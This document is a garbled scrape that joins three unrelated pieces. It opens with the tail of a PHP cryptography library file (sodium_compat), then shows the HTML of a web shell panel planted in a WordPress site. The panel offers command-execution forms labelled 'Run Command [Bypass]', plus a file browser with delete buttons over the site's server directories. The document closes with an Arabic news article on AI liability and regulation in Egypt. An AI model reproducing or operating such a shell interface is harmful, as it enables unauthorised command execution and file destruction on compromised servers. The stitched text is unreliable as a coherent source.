            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * @param ParagonIE_Sodium_Core_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify(
        ParagonIE_Sodium_Core_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state-&gt;update($ciphertext);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state-&gt;finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * Update a hash context with the contents of a file, without
     * loading the entire file into memory.
     *
     * @param resource|HashContext $hash
     * @param resource $fp
     * @param int $size
     * @return resource|object Resource on PHP &lt; 7.2, HashContext object on PHP &gt;= 7.2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress PossiblyInvalidArgument
     *                 PHP 7.2 changes from a resource to an object,
     *                 which causes Psalm to complain about an error.
     * @psalm-suppress TypeCoercion
     *                 Ditto.
     */
    public static function updateHashWithFile($hash, $fp, $size = 0)
    {
        /* Type checks: */
        if (PHP_VERSION_ID &lt; 70200) {
            if (!is_resource($hash)) {
                throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.');
            }
        } else {
            if (!is_object($hash)) {
                throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.');
            }
        }

        if (!is_resource($fp)) {
            throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.');
        }
        if (!is_int($size)) {
            throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.');
        }

        /** @var int $originalPosition */
        $originalPosition = self::ftell($fp);

        // Move file pointer to beginning of file
        fseek($fp, 0, SEEK_SET);
        for ($i = 0; $i &lt; $size; $i += self::BUFFER_SIZE) {
            /** @var string|bool $message */
            $message = fread(
                $fp,
                ($size - $i) &gt; self::BUFFER_SIZE
                    ? $size - $i
                    : self::BUFFER_SIZE
            );
            if (!is_string($message)) {
                throw new SodiumException('Unexpected error reading from file.');
            }
            /** @var string $message */
            /** @psalm-suppress InvalidArgument */
            self::hash_update($hash, $message);
        }
        // Reset file pointer's position
        fseek($fp, $originalPosition, SEEK_SET);
        return $hash;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result. (32-bit)
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    private static function sign_core32($filePath, $secretKey)
    {
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) &amp; 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) &amp; 63) | 64);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $nonceHash = hash_final($hs, true);
        $pk = self::substr($secretKey, 32, 32);
        $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $hramHash = hash_final($hs, true);

        $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash);

        $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     *
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result. (32-bit)
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws Exception
     */
    public static function verify_core32($sig, $filePath, $publicKey)
    {
        /* Security checks */
        if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S &lt; L - Invalid signature');
        }
        if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }

        if ((self::chrToInt($sig[63]) &amp; 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i &lt; 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int|bool $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }
        /** @var int $size */

        /** @var resource|bool $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }
        /** @var resource $fp */

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * Encrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat(&quot;\x00&quot;, 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 &gt; 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat(&quot;\x00&quot;, 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state-&gt;update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input file');
            }
            $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state-&gt;update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state-&gt;finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * One-time message authentication for 32-bit systems
     *
     * @param ParagonIE_Sodium_Core32_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify_core32(
        ParagonIE_Sodium_Core32_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state-&gt;update($ciphertext);
            $mlen -= $blockSize;
        }
        $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state-&gt;finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * @param resource $resource
     * @return int
     * @throws SodiumException
     */
    private static function ftell($resource)
    {
        $return = ftell($resource);
        if (!is_int($return)) {
            throw new SodiumException('ftell() returned false');
        }
        return (int) $return;
    }
}
</pre><!DOCTYPE html>
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      color: #8ab4f8;
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    }
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    }
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    }
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    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ftahkoom">tahkoom</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes">wp-includes</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat">sodium_compat</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc">src</a></div>
  <ul>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCore"> Core</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCore32"> Core32</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FPHP52"> PHP52</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCompat.php"> Compat.php</a>
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            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
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          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCrypto.php"> Crypto.php</a>
                  </span>
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            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
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              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCrypto32.php"> Crypto32.php</a>
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            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/sodium_compat/src/Crypto32.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FFile.php"> File.php</a>
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            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/sodium_compat/src/File.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
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          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FSodiumException.php"> SodiumException.php</a>
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	<nav id="breadcrumb"><a href="https://tahkoom.com/"><span class="tie-icon-home" aria-hidden="true"></span> الرئيسية</a><em class="delimiter">/</em><a href="https://tahkoom.com/category/%d8%aa%d9%81%d8%a7%d8%b9%d9%84/">تفاعل</a><em class="delimiter">/</em><span class="current">الذكاء الاصطناعي في مصر تطور بلا تشريع  فمن يتحمل المسؤولية؟</span></nav><script type="application/ld+json">{"@context":"http:\/\/schema.org","@type":"BreadcrumbList","@id":"#Breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"item":{"name":"\u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629","@id":"https:\/\/tahkoom.com\/"}},{"@type":"ListItem","position":2,"item":{"name":"\u062a\u0641\u0627\u0639\u0644","@id":"https:\/\/tahkoom.com\/category\/%d8%aa%d9%81%d8%a7%d8%b9%d9%84\/"}}]}</script>
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			الذكاء الاصطناعي في مصر تطور بلا تشريع  فمن يتحمل المسؤولية؟		</h1>

		<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">يونيو 10, 2025</span><div class="tie-alignright"><span class="meta-views meta-item warm"><span class="tie-icon-fire" aria-hidden="true"></span> 1٬430 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 4 دقائق</span> </div></div><!-- .post-meta -->	</div><!-- .entry-header /-->

	
	
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			<p style="text-align: right;"><em><strong> كتبت شروق عارف                                                                                                                                                    يشهد العالم تطورا غير مسبوق في التكنولوجيا، حيث أصبح الذكاء الاصطناعي قوة مؤثرة تعيد تشكيل حياتنا وتغيّر قواعد العديد من المجالات. ورغم ما يتيحه هذا التقدم من فرص واسعة، إلا أنه يثير تحديات ومخاوف، خاصة في ظل غياب تشريعات واضحة تنظم استخدامه في مجالات حساسة كالجراحة، والسيارات ذاتية القيادة، والمجال القانوني. هذا الواقع يطرح تساؤلات مهمة، أبرزها: من يتحمل المسؤولية عند حدوث خطأ؟ وتواجه مصر اليوم تحديا في سن قوانين تحمي حقوق الناس وتواكب في الوقت نفسه التقدم التكنولوجي                                                                                                                       </strong></em></p>
<p style="text-align: right;"><em><strong><span style="color: #0000ff;">لا قانون للذكاء الاصطناعي حتى الان                                                                                               </span></strong></em></p>
<p>صرح المحامي محمد عاطف  بأن الذكاء الاصطناعي لا يخضع حتى الآن لإطار قانوني واضح ومحدد.<br />
و لم يتم إصدار قانون شامل ينظم استخداماته حتى الآن.</p>
<p>وأوضح أنه لا يجوز قانونًا للذكاء الاصطناعي تقديم استشارات قانونية، حيث إن هذه المهام يجب أن تكون من اختصاص محامي مرخص أو جهة قانونية معترف بها، لضمان صحة المعلومات .</p>
<p>وفي ما يتعلق بالمسؤولية الطبية، أشار إلى أن الطبيب هو المسؤول الأول عن الخطأ الطبي، باعتباره صاحب القرار والمتخصص في تقديم الرعاية الصحية، وبالتالي فهو الذي يُسأل قانونًا عند وقوع أي تقصير أو إهمال.</p>
<p>أما في حالات حوادث السير، فقد بين أن السائق هو المسؤول قانونيًا عن أي خطأ يقع أثناء القيادة، لأنه هو المتحكم .<br />
وأضاف أن القانون لا يزال غير مستوعب بشكل كامل لمفهوم القيادة الذاتية، وبالتالي لا يحمل الذكاء الاصطناعي أي مسؤولية في هذا السياق حتى الآن.</p>
<p>من جانبه، أوضح المحامي الجنائي محمد علي أن الذكاء الاصطناعي لديه القدرة على تقديم استشارات أو خدمات قانونية.<br />
ولكن لا بد أن نفرق بين دوره ودور المحامي، فالمحامي لا يعتمد فقط على المعلومات، بل على فهمه العميق للقانون وظروف كل قضية، وهو ما لا يستطيع الذكاء الاصطناعي تقديمه، لأنه في النهاية مجرد أداة.</p>
<p>كما أن الذكاء الاصطناعي يمكنه المساعدة في الوصول إلى مواد قانونية أو شرح بعض المفاهيم، لكنه لا يقدم حلولًا قانونية كاملة، ولا يستطيع التعامل مع تفاصيل كل حالة على حدة كما يفعل المحامي البشري.</p>
<p>وأشار إلى أن مصر لا تمتلك حتى الآن قانونًا خاصًا ينظم الذكاء الاصطناعي.<br />
كما لا يوجد ما يمنع قانونًا استخدام أدوات الذكاء الاصطناعي في تقديم استشارات قانونية، لكن لا يمكن الاعتماد عليها كبديل عن المحامي المرخص، حيث يشترط قانون المحاماة أن تكون المرافعات والتوقيعات القانونية صادرة عن محامي معتمد من النقابة.</p>
<p>وفي المجال الطبي، أوضح أن القانون المصري لا يميز بوضوح بين الخطأ الناتج عن الإنسان والخطأ الناتج عن الذكاء الاصطناعي.<br />
فإذا وقع ضرر نتيجة استخدام أدوات مثل الروبوتات الجراحية أو أنظمة التشخيص، فإن المسؤولية تقع غالبًا على الطبيب.</p>
<p>أما فيما يخص السيارات ذاتية القيادة، فأكد أن مصر لا تملك إطارًا قانونيًا ينظمها حتى الآن.<br />
وفي حال وقوع حادث، قد تتحمل المسؤولية إما الشركة المصنعة أو مالك السيارة، حسب ظروف الحادث.</p>
<p>من جانبه، أكد المحامي المدني رامي أبو رية بأن مصطلح الذكاء الاصطناعي يعد تعبيرا فضفاضا، مما يجعل من السهل القول بأنه لا يوجد قانون محدد ينظم استخدامه.<br />
إلا أن الواقع أكثر دقة فبمجرد تفكيك المصطلح والنظر في كل مجال تُستخدم فيه التكنولوجيا المعتمدة على الذكاء الاصطناعي، نجد أن القوانين الحالية تنظم هذه الاستخدامات بشكل أو بآخر.</p>
<p>وأكد على أهمية تحديد نوع المسؤولية القانونية عند مناقشة الأطر التنظيمية للذكاء الاصطناعي، موضحًا أن الحديث هنا ينصب على المسؤولية المدنية، التي تنقسم بدورها إلى نوعين: المسؤولية العقدية  والمسؤولية التقصيرية، التي تُعد الأقرب لتطبيقات الذكاء الاصطناعي في الوقت الراهن.</p>
<p>وأوضح أن المسؤولية التقصيرية تقوم على ثلاثة عناصر: الخطأ، والضرر، وعلاقة السببية، وهو ما تنظمه المادة 163 من القانون المدني المصري.<br />
وأعطى مثالًا على ذلك بالسيارات ذاتية القيادة، مشيرًا إلى أنها تخضع لأحكام المادة 178 من القانون المدني، التي تتعلق بمسؤولية حارس الأشياء، أي الشخص الذي يملك السيطرة الفعلية على الشيء الذي قد يُسبب ضررًا للغير.<br />
وبناءً عليه، فإن مالك أو مشغل السيارة ذاتية القيادة هو المسؤول مدنيًا عن أي ضرر ناتج عنها.</p>
<p>وفيما يتعلق باستخدام الذكاء الاصطناعي في تقديم الاستشارات القانونية، أشار أبو رية إلى أن هذه التقنية يمكنها حاليًا توليد نصوص قانونية تُقدَّم على هيئة استشارات، لكنها لا تستطيع تطبيقها فعليًا.<br />
وقد تتضمن هذه الاستشارات معلومات عامة متداولة، أو تفاصيل دقيقة لا يعرفها سوى المتخصصين، ما قد يشكّل خطرًا على مصلحة من يطلب الاستشارة دون الرجوع إلى مختص بشري.</p>
<p>صرّحت الأستاذة هند توفيق، المحامية المتخصصة بالإستئناف العالي بأن استخدام الذكاء الاصطناعي في مصر يخضع لإطار قانوني واضح، حيث ينظمه قانون حماية البيانات الشخصية الصادر عام 2020، بالإضافة إلى قانون مكافحة جرائم تقنية المعلومات لسنة 2018، ما يضع استخدام هذه التكنولوجيا تحت الرقابة القانونية.</p>
<p>وأوضحت أن الذكاء الاصطناعي يمكن الاستفادة منه في تقديم استشارات وآراء قانونية أو خدمات مساعدة، مؤكدة على استخدامه بشكل فعلي في الأبحاث القانونية وصياغة المذكرات، إلا أن هذه الأدوات لا تحمل طابعًا رسميًا، ويمكن الاعتماد عليها كمصدر تمهيدي أو مساعد، لا أكثر.</p>
<p>وفيما يتعلق بالمسؤولية القانونية في حالة الأخطاء الطبية الناتجة عن استخدام الروبوتات، أكدت أن هناك شقين للمساءلة: جنائي ومدني. ففي الشق الجنائي، يُعد الروبوت بمثابة أداة جراحية، وأي خلل ناتج عنه يؤدي إلى مساءلة الطبيب جنائيًا بتهمة القتل أو الإصابة الخطأ، وفقًا للضرر الواقع. أما في الشق المدني، فالمسؤولية تقع على الطبيب كذلك، باعتبارها مسؤولية تقصيرية، مضيفة أن القانون المدني المصري يتضمن مفهوم “مسؤولية حارس الأشياء”، والتي يمكن تطبيقها على الروبوت باعتباره شيئًا ماديًا، مما يرتب تعويضًا مدنيًا عن الضرر.</p>
<p>وبالنسبة للحوادث الناجمة عن السيارات ذاتية القيادة، أوضحت أن المبدأ نفسه ينطبق؛ حيث يُسأل مالك السيارة مدنيًا، ما لم يثبت أن العطل ناتج عن خلل تقني أو عيب مصنعي، مع تأكيده على اتخاذه الاحتياطات اللازمة. أما من الناحية الجنائية، فلا يوجد حتى الآن نص قانوني واضح يعالج هذه الحالة.</p>
<p>وفي تقييمها للتأثير الاقتصادي للذكاء الاصطناعي، شددت الأستاذة هند على أن هذه التكنولوجيا باتت تمثل خطرًا حقيقيًا على العديد من المهن، خصوصًا تلك التي تعتمد على المهارات الذهنية، مثل مهنة المحاماة والقضاء. لكنها أوضحت أن الوضع في مصر يختلف، إذ لا يمكن الاعتماد كليًا على الذكاء الاصطناعي في تحقيق العدالة، بسبب الطبيعة البشرية لتكوين قناعة القاضي واستنباط القرائن، وهو ما لا تستطيع الخوارزميات محاكاته حتى الآن.</p>
<p>واختتمت حديثها قائلة: “من يعلم؟! ربما نشهد بعد سنوات قليلة طفرة جديدة تجعل الذكاء الاصطناعي قادراً على أداء مهام لم نكن نتخيل أن يفعلها. منذ أربعين عامًا، لو قال لنا أحد أننا سنتحدث اليوم عبر جهاز يسمى الموبايل ونتبادل الرسائل الإلكترونية، لكنا اتهمناه بالجنون”.</p>
<p>&nbsp;</p>
<p>لم يعد الذكاء الاصطناعي مجرد فكرة مستقبلية، بل أصبح واقع نعيشه ، ودخل مجالات حساسة تمس حياة الناس بشكل مباشر.<br />
ومع هذا الانتشار السريع، يظل القانون في مصر متأخرًا عن مواكبة هذا التطور، فلا توجد تشريعات واضحة تحدد من المسؤول عند وقوع الخطأ.<br />
ولهذا، فإن وضع إطار قانوني ينظم استخدام الذكاء الاصطناعي أصبح ضرورة لا تحتمل التأجيل، لحماية الحقوق وضمان الاستخدام الآمن والعادل لهذه التكنولوجيا.</p>

			
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